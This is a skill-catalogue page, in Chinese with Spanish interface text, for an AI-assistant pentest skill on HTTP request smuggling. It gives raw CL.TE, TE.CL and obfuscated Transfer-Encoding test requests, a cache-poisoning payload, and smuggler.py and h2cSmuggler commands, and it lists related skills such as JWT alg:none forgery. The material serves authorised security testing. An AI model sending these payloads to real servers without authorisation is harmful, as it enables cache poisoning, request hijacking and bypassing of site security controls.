con un clic
http-request-smuggling
检测 HTTP 请求走私漏洞,利用前端和后端服务器对 HTTP 请求边界解析不一致实现缓存投毒、请求劫持和绕过安全控制。
Instalar con Codex o Claude Copia este prompt, pégalo en Codex, Claude u otro asistente, y deja que revise la página de la skill y la instale por ti.
Menú
检测 HTTP 请求走私漏洞,利用前端和后端服务器对 HTTP 请求边界解析不一致实现缓存投毒、请求劫持和绕过安全控制。
Instalar con Codex o Claude Copia este prompt, pégalo en Codex, Claude u otro asistente, y deja que revise la página de la skill y la instale por ti.
Basado en la clasificación ocupacional SOC
通过被动来源和受控主动 DNS 枚举目标子域名,发现更多授权攻击面入口。
使用 agent-browser 在授权范围内执行浏览器交互验证,并在需要视觉判断时调用 pents vision-review 生成结构化视觉复核结果。
检测 API 中的功能级授权破坏(BFLA),验证普通用户是否能通过直接调用管理端点或操纵 HTTP 方法来执行管理员功能。
检测 API 中的对象级授权缺陷(BOLA/IDOR),通过篡改对象标识符越权访问或修改其他用户的数据。
利用 JWT 库接受 alg:none 的漏洞绕过签名验证,伪造任意 Token 实现权限提升。
检测 API 中的批量赋值漏洞,通过在请求体中添加非预期字段修改不应被客户端控制的属性。
| name | http-request-smuggling |
| description | 检测 HTTP 请求走私漏洞,利用前端和后端服务器对 HTTP 请求边界解析不一致实现缓存投毒、请求劫持和绕过安全控制。 |
| category | web |
| source | xalgorix |
| tags | ["HTTP 请求走私","缓存投毒","前端/后端不一致","CL.TE","TE.CL"] |
| required_tools | ["curl","Burp Suite HTTP Request Smuggler 插件 或 smuggler.py"] |
Content-Length (CL) 和 Transfer-Encoding (TE) 头的解析方式不同。printf + nc)。CL.TE 检测(前端用 Content-Length,后端用 Transfer-Encoding):
POST / HTTP/1.1
Host: <target>
Content-Length: 6
Transfer-Encoding: chunked
0
G
如响应超时,说明后端在等待 chunk G 的后续数据 → CL.TE 走私可行。
TE.CL 检测(前端用 Transfer-Encoding,后端用 Content-Length):
POST / HTTP/1.1
Host: <target>
Content-Length: 4
Transfer-Encoding: chunked
5e
POST /404 HTTP/1.1
Host: <target>
Content-Length: 15
x=1
0
如第二个请求收到 404 响应,说明 TE.CL 走私可行。
POST / HTTP/1.1
Host: <target>
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: cow
5c
POST /404 HTTP/1.1
Host: <target>
Content-Length: 15
x=1
0
观察前端和后端对混淆 TE 头的不同处理。
# 使用 smuggler.py 自动化检测
python3 smuggler.py -u https://<target> -m all
POST / HTTP/1.1
Host: <target>
Content-Length: <calculated>
Transfer-Encoding: chunked
0
GET /static/js/app.js HTTP/1.1
Host: <target>
X-Poison: <unique_marker>
然后访问 /static/js/app.js,检查响应是否包含 X-Poison 头。
如果目标支持 HTTP/2 → HTTP/1.1 降级:
# 使用 h2cSmuggler 测试
python3 h2cSmuggler.py -u https://<target> --test